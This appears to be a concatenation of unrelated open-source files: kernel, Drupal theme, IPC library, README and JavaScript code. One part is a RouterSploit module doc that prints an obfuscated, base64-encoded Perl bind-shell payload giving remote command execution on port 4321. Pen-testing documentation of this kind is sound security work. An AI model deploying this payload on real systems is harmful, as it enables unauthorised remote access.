RAZ * * The device to slot mapping looks like: * * Slot Device * 5 NCR SCSI controller * 6 PCI on board slot 0 * 7 PCI on board slot 1 * 8 Intel SIO PCI-ISA bridge chip * 9 Tulip - DECchip 21040 Ethernet controller * * * This two layered interrupt approach means that we allocate IRQ 16 and * above for PCI interrupts. The IRQ relates to which bit the interrupt * comes in on. This makes interrupt processing much easier. */ static int __init eb64p_map_irq(const struct pci_dev *dev, u8 slot, u8 pin) { static char irq_tab[5][5] __initdata = { /*INT INTA INTB INTC INTD */ {16+7, 16+7, 16+7, 16+7, 16+7}, /* IdSel 5, slot ?, ?? */ {16+0, 16+0, 16+2, 16+4, 16+9}, /* IdSel 6, slot ?, ?? */ {16+1, 16+1, 16+3, 16+8, 16+10}, /* IdSel 7, slot ?, ?? */ { -1, -1, -1, -1, -1}, /* IdSel 8, SIO */ {16+6, 16+6, 16+6, 16+6, 16+6}, /* IdSel 9, TULIP */ }; const long min_idsel = 5, max_idsel = 9, irqs_per_slot = 5; return COMMON_TABLE_LOOKUP; } /* * The System Vector */ #if defined(CONFIG_ALPHA_GENERIC) || defined(CONFIG_ALPHA_EB64P) struct alpha_machine_vector eb64p_mv __initmv = { .vector_name = "EB64+", DO_EV4_MMU, DO_DEFAULT_RTC, DO_APECS_IO, .machine_check = apecs_machine_check, .max_isa_dma_address = ALPHA_MAX_ISA_DMA_ADDRESS, .min_io_address = DEFAULT_IO_BASE, .min_mem_address = APECS_AND_LCA_DEFAULT_MEM_BASE, .nr_irqs = 32, .device_interrupt = eb64p_device_interrupt, .init_arch = apecs_init_arch, .init_irq = eb64p_init_irq, .init_rtc = common_init_rtc, .init_pci = common_init_pci, .kill_arch = NULL, .pci_map_irq = eb64p_map_irq, .pci_swizzle = common_swizzle, }; ALIAS_MV(eb64p) #endif #if defined(CONFIG_ALPHA_GENERIC) || defined(CONFIG_ALPHA_EB66) struct alpha_machine_vector eb66_mv __initmv = { .vector_name = "EB66", DO_EV4_MMU, DO_DEFAULT_RTC, DO_LCA_IO, .machine_check = lca_machine_check, .max_isa_dma_address = ALPHA_MAX_ISA_DMA_ADDRESS, .min_io_address = DEFAULT_IO_BASE, .min_mem_address = APECS_AND_LCA_DEFAULT_MEM_BASE, .nr_irqs = 32, .device_interrupt = eb64p_device_interrupt, .init_arch = lca_init_arch, .init_irq = eb64p_init_irq, .init_rtc = common_init_rtc, .init_pci = common_init_pci, .pci_map_irq = eb64p_map_irq, .pci_swizzle = common_swizzle, }; ALIAS_MV(eb66) #endif
Jackeagle/android_kernel_sony_c2305
arch/alpha/kernel/sys_eb64p.c
C
gpl-2.0
5,984
<?php //populate the chamfer settings array $chamfer = array(); $chamfer['borders'] = theme_get_setting('chamfer_borders'); $chamfer['top_logo'] = theme_get_setting('chamfer_top_logo'); $chamfer['top_link'] = theme_get_setting('chamfer_top_link'); $chamfer['bottom_logo'] = theme_get_setting('chamfer_bottom_logo'); $chamfer['bottom_link'] = theme_get_setting('chamfer_bottom_link'); $chamfer['chamfer_color_template'] = theme_get_setting('chamfer_color_template'); $chamfer['color_primary'] = theme_get_setting('chamfer_color_primary'); $chamfer['color_secondary'] = theme_get_setting('chamfer_color_secondary'); $chamfer['color_header1'] = theme_get_setting('chamfer_color_header1'); $chamfer['color_header2'] = theme_get_setting('chamfer_color_header2'); // accessibility issue potentially, commented out // $chamfer['color_text'] = theme_get_setting('chamfer_color_text'); $chamfer['color_link'] = theme_get_setting('chamfer_color_link'); $chamfer['color_blocks'] = theme_get_setting('chamfer_color_blocks'); $chamfer['color_blockstyle_link'] = theme_get_setting('chamfer_color_blockstyle_link'); $chamfer['color_blockstyle_linkhover'] = theme_get_setting('chamfer_color_blockstyle_linkhover'); $chamfer['color_blockstyle_bgcolor'] = theme_get_setting('chamfer_color_blockstyle_bgcolor'); $chamfer['color_footer_text'] = theme_get_setting('chamfer_color_footer_text'); $chamfer['color_footer_link'] = theme_get_setting('chamfer_color_footer_link'); //setup border if ($chamfer['borders'] == 0) { $border_class = 'main-border-0 '; } else { $border_class = 'main-border-10 '; } //setup top logo if ($chamfer['top_logo'] == '0') { $top_logo = '<img alt="top logo" title="top logo" id="top_logo" src="'. base_path() . path_to_theme() .'/images/top_logo_01.png" style="display:none;"/>'; } elseif ($chamfer['top_logo'] == '1') { if ($chamfer['top_link'] == '') { $top_logo = '<img alt="top logo" title="top logo" id="top_logo" src="'. base_path() . path_to_theme() .'/images/top_logo_01.png" />'; } else { $top_logo = l('<img alt="top logo" title="top logo" id="top_logo" src="'. base_path() . path_to_theme() .'/images/top_logo_01.png" />',$chamfer['top_link'],array('html' => TRUE,'absolute' => TRUE)); } } else { if ($chamfer['top_link'] == '') { $top_logo = '<img alt="top logo" title="top logo" id="top_logo" src="'. base_path() . path_to_theme() .'/images/top_logo_02.png" />'; } else { $top_logo = l('<img alt="top logo" title="top logo" id="top_logo" src="'. base_path() . path_to_theme() .'/images/top_logo_02.png" />',$chamfer['top_link'],array('html' => TRUE,'absolute' => TRUE)); } } //setup bottom logo if ($chamfer['bottom_logo'] == '0') { $bottom_logo = '<img alt="bottom logo" title="bottom logo" id="bottom_logo" src="'. base_path() . path_to_theme() .'/images/bottom_logo_01.png" style="display:none;"/>'; } elseif ($chamfer['bottom_logo'] == '1') { if ($chamfer['bottom_link'] == '') { $bottom_logo = '<img alt="bottom logo" title="bottom logo" id="bottom_logo" src="'. base_path() . path_to_theme() .'/images/bottom_logo_01.png" />'; } else { $bottom_logo = l('<img alt="bottom logo" title="bottom logo" id="bottom_logo" src="'. base_path() . path_to_theme() .'/images/bottom_logo_01.png" />',$chamfer['bottom_link'],array('html' => TRUE,'absolute' => TRUE)); } } else { if ($chamfer['bottom_link'] == '') { $bottom_logo = '<img alt="bottom logo" title="bottom logo" id="bottom_logo" src="'. base_path() . path_to_theme() .'/images/bottom_logo_02.png" />'; } else { $bottom_logo = l('<img alt="bottom logo" title="bottom logo" id="bottom_logo" src="'. base_path() . path_to_theme() .'/images/bottom_logo_02.png"/>',$chamfer['bottom_link'],array('html' => TRUE,'absolute' => TRUE)); } } //color selection time, do nothing for default cause it's already correct if ($chamfer['chamfer_color_template'] != 'default') { $settings_style = '<style type="text/css"> .primary-color { background-color:#'. $chamfer['color_primary'] .' !important; } .secondary-color { background-color:#'. $chamfer['color_secondary'] .' !important; } .left-col-2 div.block, .left-col-3 div.block, .right-col-3 div.block, .right-col-2 div.block { background-color:#'. $chamfer['color_blocks'] .' !important; } a { color:#'. $chamfer['color_link'] .' !important; } h2.title a{ color:#'. $chamfer['color_header1'] .' !important; } h2.sub-title a { color:#'. $chamfer['color_header2'] .' !important; } .block-minimal-menu a { color:#'. $chamfer['color_blockstyle_link'] .' !important; } .block-minimal-menu a:hover { color:#'. $chamfer['color_blockstyle_linkhover'] .' !important; } .block-minimal-menu li .link-wrapper-1:hover{ background-color:#'. $chamfer['color_blockstyle_bgcolor'] .' !important; } .block-minimal-menu li.active-trail .link-wrapper-1{ background-color:#'. $chamfer['color_blockstyle_bgcolor'] .' !important; } .main-border-color { border-top-color:#'. $chamfer['color_secondary'] .' !important; border-bottom-color:#'. $chamfer['color_secondary'] .' !important; border-left-color:#'. $chamfer['color_secondary'] .' !important; border-right-color:#'. $chamfer['color_secondary'] .' !important; } .footer{ color:#'. $chamfer['color_footer_text'] .' !important; } .footer a{ color:#'. $chamfer['color_footer_link'] .' !important; } </style>'; } else { $settings_style = ''; } //calculate what the spacing / cols should be if ($left && $right) { $cols = 3; } elseif ($left) { $cols = 2; } elseif ($right) { $cols = 2; } else { $cols = 1; } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php print $language->language ?>" lang="<?php print $language->language ?>" dir="<?php print $language->dir ?>"> <head> <title><?php print $head_title ?></title> <?php print $head ?> <?php print $styles ?> <?php print $settings_style?> <?php print $scripts ?> </head> <body<?php print chamfer_body_attributes($is_front, $layout); ?>> <div id="border_wrapper" class="wrapper static-color <?php print $border_class?>main-border-color"> <div class="header secondary-color" > <div class="top-header secondary-color"> <div class="top-header-logo"><?php print $top_logo?></div> <div class="titles"> <h1 class="title"><?php print l($site_name, variable_get('site_frontpage',''));?></h1> <h2 class="sub-title"><?php print l($site_slogan, variable_get('site_frontpage',''));?></h2> </div> </div> <div class="btm-header static-color"> <div class="style-helper"> <div class="chamfer-1 secondary-color"></div> <div class="chamfer-2 secondary-color"></div> </div> <div class="banner-image-holder"> <div class="banner-image" <?php if ($logo && !theme_get_setting('default_logo')) { print 'style="background-image:url(' . $logo .')"';} ?>> <div class="banner-crop"> <?php if ($primary_menu || $superfish): ?> <!-- Primary || Superfish --> <div class="main-menu <?php print $primary_menu ? 'primary' : 'superfish' ; ?>" id="<?php print $primary_menu ? 'primary' : 'superfish' ; ?>"> <?php if ($primary_menu): print $primary_menu; elseif ($superfish): print $superfish; endif; ?> </div> <!-- /primary || superfish --> <?php endif; ?> </div> </div> </div> </div><!-- end btm-header --> <?php if ($left) { ?><div class="left-col-<?php print $cols; ?> height"><?php print $left; ?></div><?php } ?> <div class="center-col-<?php print $cols; ?> height"> <?php if ($messages): print $messages; endif; ?> <?php if ($help): print $help; endif; ?> <?php if ($tabs): ?><div class="tabs"><?php print $tabs; ?></div><?php endif; ?> <?php print $content_top; ?> <?php if ($title): ?><h1 class="title"><?php print $title; ?></h1><?php endif; ?> <?php print $content; ?> <?php print $content_bottom; ?> </div> <?php if ($right) { ?><div class="right-col-<?php print $cols; ?> height"><?php print $right; ?></div><?php } ?> </div> <div class="push"></div> </div> <div class="footer secondary-color <?php print $border_class?>main-border-color"> <div class="footer-padding"> <?php print $footer_message; ?> <div class="btm-logo"><?php print $bottom_logo; ?></div> </div> </div> <?php print $closure ?> </body> </html>
eleonel/Drupaltech
profiles/elms/themes/contrib/chamfer/page.tpl.php
PHP
gpl-2.0
8,667
/****************************************************************************** * PROJECT: New Millennium, DS1 * IPC (Interprocess Communication) Package * * (c) Copyright 1996 Reid Simmons. All rights reserved. * * FILE: marshall.c * * ABSTRACT: Implementation of the marshalling/unmarshalling functions of * the IPC, using (modified) X_IPC library * * REVISION HISTORY * * $Log: marshall.c,v $ * Revision 1.1.1.1 2004/10/15 14:33:15 tomkol * Initial Import * * Revision 1.5 2003/10/17 20:18:16 nickr * Upgraded to IPC 3.7.7, added Arm patches from Dirk Haehnel. * * Revision 1.4 2003/04/20 02:28:13 nickr * Upgraded to IPC 3.7.6. * Reversed meaning of central -s to be default silent, * -s turns silent off. * * Revision 2.6 2002/01/03 20:52:13 reids * Version of IPC now supports multiple threads (Caveat: Currently only * tested for Linux). * Also some minor changes to support Java version of IPC. * * Revision 2.5 2001/06/01 18:51:19 reids * Don't try to free NULL data * * Revision 2.4 2001/02/28 03:13:24 trey * added explicit cast to avoid warning * * Revision 2.3 2001/02/09 16:24:21 reids * Added IPC_getConnections to return list of ports that IPC is listening to. * Added IPC_freeDataElements to free the substructure (pointers) of a struct. * * Revision 2.2 2000/07/03 17:03:26 hersh * Removed all instances of "tca" in symbols and messages, plus changed * the names of all other symbols which conflicted with TCA. This new * version of IPC should be able to interoperate TCA fully. Client * programs can now link to both tca and ipc. * * Revision 2.1.1.1 1999/11/23 19:07:34 reids * Putting IPC Version 2.9.0 under local (CMU) CVS control. * * Revision 1.5.2.12 1997/03/07 17:49:49 reids * Added support for OS2, needed by JSC team (thanks to Bob Goode). * Also fixed bug when passing between machines of different endianness. * * Revision 1.5.2.11 1997/01/27 20:40:32 reids * Implement a function to check whether a given format string matches the * one registered for a given message. * * Revision 1.5.2.10 1997/01/27 20:09:42 udo * ipc_2_6_006 to r3_Dev merge * * Revision 1.5.2.8 1997/01/16 22:19:36 reids * Took out restriction that Lisp marshalling was non-reentrant. * * Revision 1.5.2.7 1997/01/11 01:21:08 udo * ipc 2.6.002 to r3_dev merge * * Revision 1.5.2.6.4.1 1996/12/24 14:41:44 reids * Merge the C and Lisp IPC libraries (both C and Lisp modules can now * link with the same libipc.a). * Moved the Lisp-specific code to ipcLisp.c: Cleaner design and it will * not be linked into C modules this way. * * Revision 1.5.2.6 1996/12/18 15:12:57 reids * Changed logging code to remove VxWorks dependence on varargs * * Revision 1.5.2.5 1996/10/29 14:51:18 reids * Added IPC_unmarshallData. * IPC_freeByteArray function available to C, not just LISP. * Use x_ipcMalloc instead of malloc. * * Revision 1.5.2.4 1996/10/24 17:26:37 reids * Replace fprintf with x_ipcModWarning. * * Revision 1.5.2.3 1996/10/24 15:19:21 reids * Make everything use x_ipcMalloc/x_ipcFree. * * Revision 1.5.2.2 1996/10/18 18:10:19 reids * Better error checking and handling. * * Revision 1.5.2.1 1996/10/02 20:56:42 reids * Fixed the procedure for dealing with named formatters. * * Revision 1.6 1996/09/06 22:30:34 pgluck * Removed static declarations for VxWorks * * Revision 1.5 1996/05/24 20:02:09 rouquett * swapped include order between ipc.h globalM.h for solaris compilation * * Revision 1.4 1996/05/09 01:01:38 reids * Moved all the X_IPC files over to the IPC directory. * Fixed problem with sending NULL data. * Added function IPC_setCapacity. * VxWorks m68k version released. * * Revision 1.3 1996/04/24 19:13:51 reids * Changes to support vxworks version. * * Revision 1.2 1996/03/06 20:20:46 reids * Version 2.3 adds two new functions: IPC_defineFormat and IPC_isConnected * * Revision 1.1 1996/03/03 04:36:21 reids * First release of IPC files. Corresponds to IPC Specifiction 2.2, except * that IPC_readData is not yet implemented. Also contains "cover" functions * for the xipc interface. * ****************************************************************/ #include "globalM.h" #ifdef DOS_FILE_NAMES #include "primFmtt.h" #include "formatte.h" #include "parseFmt.h" #include "printDat.h" #else #include "primFmttrs.h" #include "formatters.h" #include "parseFmttrs.h" #include "printData.h" #endif #include "ipc.h" #include "ipcPriv.h" FORMATTER_PTR IPC_parseFormat (const char *formatString) { FORMATTER_PTR format; if (!formatString || strlen(formatString) == 0) { return NULL; } else if (!X_IPC_INITIALIZED()) { ipcSetError(IPC_Not_Initialized); return NULL; } else { format = ParseFormatString(formatString); if (format && format->type == BadFormatFMT) { ipcSetError(IPC_Illegal_Formatter); return NULL; } else { return format; } } } CONST_ENCODING_PTR IPC_msgInstanceEncoding (MSG_INSTANCE msgInstance) { if (!msgInstance) { ipcSetError(IPC_Null_Argument); return NULL; } else { return &msgInstance->encoding; } } FORMATTER_PTR IPC_msgFormatter (const char *msgName) { MSG_PTR msg; FORMATTER_PTR format = NULL; if (!msgName || strlen(msgName) == 0) { ipcSetError(IPC_Null_Argument); } else if (!X_IPC_CONNECTED()) { ipcSetError(IPC_Not_Connected); } else { msg = x_ipc_msgFind(msgName); if (!msg) { ipcSetError(IPC_Message_Not_Defined); } else { format = msg->msgData->resFormat; if (format && format->type == BadFormatFMT) { ipcSetError(IPC_Illegal_Formatter); format = NULL; } } } return format; } /* Equivalent to, but more efficient than, IPC_msgFormatter(IPC_msgInstanceName(msgInstance)); */ FORMATTER_PTR IPC_msgInstanceFormatter (MSG_INSTANCE msgInstance) { FORMATTER_PTR format; if (!msgInstance) { ipcSetError(IPC_Null_Argument); return NULL; } else { format = msgInstance->msg->msgData->resFormat; if (format && format->type == BadFormatFMT) { ipcSetError(IPC_Illegal_Formatter); return NULL; } else { return format; } } } IPC_RETURN_TYPE IPC_defineFormat (const char *formatName, const char *formatString) { if (!formatName || strlen(formatName) == 0) { RETURN_ERROR(IPC_Null_Argument); } else if (X_IPC_INITIALIZED()) { if (X_IPC_CONNECTED()) { x_ipcRegisterNamedFormatter(formatName, formatString); } x_ipc_addFormatStringToTable(strdup(formatName), strdup(formatString)); return IPC_OK; } else { RETURN_ERROR(IPC_Not_Connected); } } static IPC_RETURN_TYPE _IPC_marshall (FORMATTER_PTR formatter, void *dataptr, IPC_VARCONTENT_PTR varcontent, BOOLEAN mallocData) { unsigned int length; if (!X_IPC_INITIALIZED()) { RETURN_ERROR(IPC_Not_Initialized); } else if (formatter && formatter->type == BadFormatFMT) { RETURN_ERROR(IPC_Illegal_Formatter); } else if (varcontent == NULL) { RETURN_ERROR(IPC_Null_Argument); } else { varcontent->length = length = (unsigned)x_ipc_bufferSize(formatter, dataptr); if (length > 0) { if (!mallocData && x_ipc_sameFixedSizeDataBuffer(formatter)) { /* The data structure is equivalent to the byte-array */ varcontent->content = dataptr; } else { varcontent->content = x_ipcMalloc(length); x_ipc_encodeData(formatter, dataptr, (char *)varcontent->content, 0, length); } } else { varcontent->content = NULL; } return IPC_OK; } } IPC_RETURN_TYPE IPC_marshall (FORMATTER_PTR formatter, void *dataptr, IPC_VARCONTENT_PTR varcontent) { return _IPC_marshall(formatter, dataptr, varcontent, TRUE); } static IPC_RETURN_TYPE _IPC_unmarshall (FORMATTER_PTR formatter, BYTE_ARRAY byteArray, void **dataHandle, BOOLEAN mallocData) { int32 dataSize, byteOrder; ALIGNMENT_TYPE alignment; if (!X_IPC_INITIALIZED()) { RETURN_ERROR(IPC_Not_Initialized); } else if (formatter && formatter->type == BadFormatFMT) { RETURN_ERROR(IPC_Illegal_Formatter); } else { dataSize = x_ipc_dataStructureSize(formatter); if (dataSize == 0) { *dataHandle = NULL; } else { if (mallocData) { *dataHandle = x_ipcMalloc((unsigned)dataSize); } LOCK_M_MUTEX; byteOrder = GET_M_GLOBAL(byteOrder); alignment = GET_M_GLOBAL(alignment); UNLOCK_M_MUTEX; if ( (EASY_STRUCTURE_COPY) && (byteOrder == BYTE_ORDER) && x_ipc_sameFixedSizeDataBuffer(formatter) ) { BCOPY(byteArray, *dataHandle, dataSize); } else { x_ipc_decodeData(formatter, (char *)byteArray, 0, (char *)*dataHandle, byteOrder, alignment, -1); } } return IPC_OK; } } static IPC_RETURN_TYPE _IPC_saveUnmarshall (FORMATTER_PTR formatter, BYTE_ARRAY byteArray, CONST_ENCODING_PTR encoding, void **dataHandle, BOOLEAN mallocData) { int32 dataSize; if (!X_IPC_INITIALIZED()) { RETURN_ERROR(IPC_Not_Initialized); } else if (formatter && formatter->type == BadFormatFMT) { RETURN_ERROR(IPC_Illegal_Formatter); } else { dataSize = x_ipc_dataStructureSize(formatter); if (dataSize == 0) { *dataHandle = NULL; } else { if (mallocData) { *dataHandle = x_ipcMalloc((unsigned)dataSize); } if ( (EASY_STRUCTURE_COPY) && (encoding->byteOrder == BYTE_ORDER) && x_ipc_sameFixedSizeDataBuffer(formatter) ) { BCOPY(byteArray, *dataHandle, dataSize); } else { x_ipc_decodeData(formatter, (char *)byteArray, 0, (char *)*dataHandle, encoding->byteOrder, encoding->alignment, -1); } } return IPC_OK; } } IPC_RETURN_TYPE IPC_unmarshall (FORMATTER_PTR formatter, BYTE_ARRAY byteArray, void **dataHandle) { return _IPC_unmarshall(formatter, byteArray, dataHandle, TRUE); } IPC_RETURN_TYPE IPC_saveUnmarshall (FORMATTER_PTR formatter, BYTE_ARRAY byteArray, CONST_ENCODING_PTR encoding, void **dataHandle) { return _IPC_saveUnmarshall(formatter, byteArray, encoding, dataHandle, TRUE); } IPC_RETURN_TYPE IPC_unmarshallData(FORMATTER_PTR formatter, BYTE_ARRAY byteArray, void *dataHandle, int dataSize) { if (!formatter) { RETURN_ERROR(IPC_Null_Argument); } else if (formatter && formatter->type == BadFormatFMT) { RETURN_ERROR(IPC_Illegal_Formatter); } else if (!X_IPC_INITIALIZED()) { RETURN_ERROR(IPC_Not_Initialized); } else if (dataSize != x_ipc_dataStructureSize(formatter)) { RETURN_ERROR(IPC_Wrong_Buffer_Length); } else { return _IPC_unmarshall(formatter, byteArray, &dataHandle, FALSE); } } IPC_RETURN_TYPE IPC_saveUnmarshallData(FORMATTER_PTR formatter, BYTE_ARRAY byteArray, CONST_ENCODING_PTR encoding, void *dataHandle, int dataSize) { if (!formatter) { RETURN_ERROR(IPC_Null_Argument); } else if (formatter && formatter->type == BadFormatFMT) { RETURN_ERROR(IPC_Illegal_Formatter); } else if (!X_IPC_INITIALIZED()) { RETURN_ERROR(IPC_Not_Initialized); } else if (dataSize != x_ipc_dataStructureSize(formatter)) { RETURN_ERROR(IPC_Wrong_Buffer_Length); } else { return _IPC_saveUnmarshall(formatter, byteArray, encoding, &dataHandle, FALSE); } } IPC_RETURN_TYPE IPC_publishData (const char *msgName, void *dataptr) { IPC_VARCONTENT_TYPE varcontent; IPC_RETURN_TYPE retVal; if (!msgName || strlen(msgName) == 0) { RETURN_ERROR(IPC_Null_Argument); } else if (_IPC_marshall(IPC_msgFormatter(msgName), dataptr, &varcontent, FALSE) != IPC_OK){ PASS_ON_ERROR(); } else { retVal = IPC_publishVC(msgName, &varcontent); if (varcontent.content != dataptr) x_ipcFree(varcontent.content); return retVal; } } IPC_RETURN_TYPE IPC_respondData (MSG_INSTANCE msgInstance, const char *msgName, void *dataptr) { IPC_VARCONTENT_TYPE varcontent; IPC_RETURN_TYPE retVal; if (!msgName || strlen(msgName) == 0) { RETURN_ERROR(IPC_Null_Argument); } else if (!msgInstance) { RETURN_ERROR(IPC_Null_Argument); } else if (_IPC_marshall(IPC_msgFormatter(msgName), dataptr, &varcontent, FALSE) != IPC_OK) { PASS_ON_ERROR(); } else { retVal = IPC_respondVC(msgInstance, msgName, &varcontent); if (varcontent.content != dataptr) x_ipcFree(varcontent.content); return retVal; } } IPC_RETURN_TYPE IPC_queryNotifyData (const char *msgName, void *dataptr, HANDLER_TYPE handler, void *clientData) { IPC_VARCONTENT_TYPE varcontent; IPC_RETURN_TYPE retVal; if (!msgName || strlen(msgName) == 0) { RETURN_ERROR(IPC_Null_Argument); } else if (_IPC_marshall(IPC_msgFormatter(msgName), dataptr, &varcontent, FALSE) != IPC_OK) { PASS_ON_ERROR(); } else { retVal = IPC_queryNotifyVC(msgName, &varcontent, handler, clientData); if (varcontent.content != dataptr) x_ipcFree(varcontent.content); return retVal; } } IPC_RETURN_TYPE IPC_queryResponseData (const char *msgName, void *dataptr, void **replyData, unsigned int timeoutMsecs) { IPC_VARCONTENT_TYPE varcontent; IPC_RETURN_TYPE retVal; BYTE_ARRAY replyByteArray; ENCODING_TYPE replyEncoding; CONST_FORMAT_PTR decodeFormat; if (!msgName || strlen(msgName) == 0) { RETURN_ERROR(IPC_Null_Argument); } else if (_IPC_marshall(IPC_msgFormatter(msgName), dataptr, &varcontent, FALSE) != IPC_OK) { PASS_ON_ERROR(); } else { retVal = _IPC_queryResponse(msgName, varcontent.length, varcontent.content, &replyByteArray, &replyEncoding, &decodeFormat, timeoutMsecs); if (retVal == IPC_OK) { retVal = _IPC_saveUnmarshall(decodeFormat, replyByteArray, &replyEncoding, replyData, TRUE); if (replyByteArray != replyData) x_ipcFree(replyByteArray); } else { *replyData = NULL; } if (varcontent.content != dataptr) x_ipcFree(varcontent.content); return retVal; } } IPC_RETURN_TYPE IPC_freeData (FORMATTER_PTR formatter, void *dataptr) { if (!X_IPC_INITIALIZED()) { RETURN_ERROR(IPC_Not_Initialized); } else if (formatter && formatter->type == BadFormatFMT) { RETURN_ERROR(IPC_Illegal_Formatter); } else if ((formatter && !dataptr) || (dataptr && !formatter)) { RETURN_ERROR(IPC_Null_Argument); } else { if (dataptr) x_ipc_freeDataStructure(formatter, dataptr); return IPC_OK; } } IPC_RETURN_TYPE IPC_freeDataElements (FORMATTER_PTR formatter, void *dataptr) { if (!X_IPC_INITIALIZED()) { RETURN_ERROR(IPC_Not_Initialized); } else if (formatter && formatter->type == BadFormatFMT) { RETURN_ERROR(IPC_Illegal_Formatter); } else if ((formatter && !dataptr) || (dataptr && !formatter)) { RETURN_ERROR(IPC_Null_Argument); } else { x_ipc_freeDataElements(formatter, (GENERIC_DATA_PTR)dataptr, 0, NULL); return IPC_OK; } } IPC_RETURN_TYPE IPC_printData (FORMATTER_PTR formatter, FILE *stream, void *dataptr) { if (!X_IPC_INITIALIZED()) { RETURN_ERROR(IPC_Not_Initialized); } else if (formatter && formatter->type == BadFormatFMT) { RETURN_ERROR(IPC_Illegal_Formatter); } else if (!stream || (formatter && !dataptr) || (dataptr && !formatter)) { RETURN_ERROR(IPC_Null_Argument); } else { Print_Formatted_Data(stream, formatter, dataptr); return IPC_OK; } } IPC_RETURN_TYPE IPC_readData (FORMATTER_PTR formatter, FILE *stream, void **dataHandle) { #ifdef UNUSED_PRAGMA #pragma unused(formatter, stream, dataHandle) #endif X_IPC_MOD_ERROR("IPC_readData: Not yet implemented\n"); return IPC_OK; } IPC_RETURN_TYPE IPC_checkMsgFormats (const char *msgName, const char *formatString) { MSG_PTR msg; CONST_FORMAT_PTR format; BOOLEAN sameP; if (!msgName || strlen(msgName) == 0) { RETURN_ERROR(IPC_Null_Argument); } else if (!X_IPC_CONNECTED()) { RETURN_ERROR(IPC_Not_Connected); } else { msg = x_ipc_msgFind(msgName); if (!msg) { RETURN_ERROR(IPC_Message_Not_Defined); } else { format = IPC_parseFormat(formatString); sameP = formatsEqual(format, msg->msgData->resFormat); x_ipc_freeFormatter(&format); if (sameP) { return IPC_OK; } else { RETURN_ERROR(IPC_Mismatched_Formatter); } } } } void IPC_freeByteArray (BYTE_ARRAY byteArray) { x_ipcFree(byteArray); } #ifdef LISP /* Prototypes, to keep compiler happy */ #ifdef macintosh #pragma export on #endif BYTE_ARRAY IPC_createByteArray (unsigned int length); BUFFER_PTR ipcSetEncodeBuffer (BYTE_ARRAY byteArray); #ifdef macintosh #pragma export off #endif BYTE_ARRAY IPC_createByteArray (unsigned int length) { return x_ipcMalloc(length); } /* Need a scheme that does not malloc memory */ BUFFER_PTR ipcSetEncodeBuffer (BYTE_ARRAY byteArray) { BUFFER_PTR buffer = NEW(BUFFER_TYPE); buffer->bstart = 0; buffer->buffer = (char *)byteArray; return buffer; } #endif /* LISP */
kralf/carmen
src/lib/core/ipc/marshall.c
C
gpl-2.0
17,080
## Description Module generates payload that creates interactive tcp bind shell by using perl. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use payloads/perl/bind_tcp` 3. Do: `set rport 4321` 4. Do: `run` 5. Module generates perl tcp bind shell payload ## Scenarios ``` rsf > use payloads/perl/bind_tcp rsf (Perl Bind TCP) > set rport 4321 [+] rport => 4321 rsf (Perl Bind TCP) > run [*] Running module... [*] Generating payload use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKExvY2FsUG9ydCw0MzIxLFJldXNlLDEsTGlzdGVuKS0+YWNjZXB0OyR+LT5mZG9wZW4oJGMsdyk7U1RESU4tPmZkb3BlbigkYyxyKTt3aGlsZSg8Pil7aWYoJF89fiAvKC4qKS8pe3N5c3RlbSAkMTt9fTs=')); ```
dasseclab/dasseclab
clones/routersploit/docs/modules/payloads/perl/bind_tcp.md
Markdown
gpl-2.0
780
if (typeof $ != 'function') { var $ = jQuery; } $(document).ready(function () { //var table = $('.price-body tr'); $('.price-body tr:even').addClass('odd'); $('.price-body td:not(:first-child)').addClass('c'); $('.price-body tr').hover( function () { $(this).addClass('hover'); }, function () { $(this).removeClass('hover'); } ); $("ul.tabs").tabs("div.panes > div"); $("ul.tabss").tabs("div.paness > div"); });
denis-pahomov/skefi
wp-content/themes/kbservice/js/common.js
JavaScript
gpl-2.0
500
[![Build Status](https://travis-ci.org/pixelgrade/adler.svg)](https://travis-ci.org/pixelgrade/adler) Adler ======== Adler is a personal blogging theme for sharing your own thoughts and write about your latest findings! Always use the [stable version](https://wordpress.org/themes/adler/) from wordpress.org
pixelgrade/adler
README.md
Markdown
gpl-2.0
310
Simple Z80 processor JavaScript emulator. For remote assembly need z80asm program in system.
Eduard90/z80JS
README.md
Markdown
gpl-2.0
92
/* * ===================================================================================== * * Filename: consfuntable.c * * Description: * * Version: 1.0 * Created: 12/07/2012 06:38:13 PM * Revision: none * Compiler: gcc * * Author: Liyun Dai (pku), dlyun2009@gmail.com * Company: * * ===================================================================================== */ #include "monconstfun_table.h" fn_ptr_t getconsFunById(const int id) { switch (id) { case 1: return homog; case 2: return Khomog; case 3: return symm; case 4: return linCons; } return NULL; }
djuanbei/aiSat
poly/monconstfun_table.c
C
gpl-2.0
688
//---------------------------------------------------------------------------- // Anti-Grain Geometry - Version 2.3 // Copyright (C) 2002-2005 Maxim Shemanarev (http://www.antigrain.com) // // Permission to copy, use, modify, sell and distribute this software // is granted provided this copyright notice appears in all copies. // This software is provided "as is" without express or implied // warranty, and with no claim as to its suitability for any purpose. // //---------------------------------------------------------------------------- // Contact: mcseem@antigrain.com // mcseemagg@yahoo.com // http://www.antigrain.com //---------------------------------------------------------------------------- #ifndef AGG_RENDERER_SCANLINE_INCLUDED #define AGG_RENDERER_SCANLINE_INCLUDED #include "agg_basics.h" #include "agg_renderer_base.h" #include "agg_render_scanlines.h" namespace agg { //====================================================renderer_scanline_aa template<class BaseRenderer, class SpanGenerator> class renderer_scanline_aa { public: typedef BaseRenderer base_ren_type; typedef SpanGenerator span_gen_type; //-------------------------------------------------------------------- renderer_scanline_aa() : m_ren(0), m_span_gen(0) {} renderer_scanline_aa(base_ren_type& ren, span_gen_type& span_gen) : m_ren(&ren), m_span_gen(&span_gen) {} void attach(base_ren_type& ren, span_gen_type& span_gen) { m_ren = &ren; m_span_gen = &span_gen; } //-------------------------------------------------------------------- void prepare(unsigned max_span_len) { m_span_gen->prepare(max_span_len); } //-------------------------------------------------------------------- template<class Scanline> void render(const Scanline& sl) { int y = sl.y(); m_ren->first_clip_box(); do { int xmin = m_ren->xmin(); int xmax = m_ren->xmax(); if(y >= m_ren->ymin() && y <= m_ren->ymax()) { unsigned num_spans = sl.num_spans(); typename Scanline::const_iterator span = sl.begin(); for(;;) { int x = 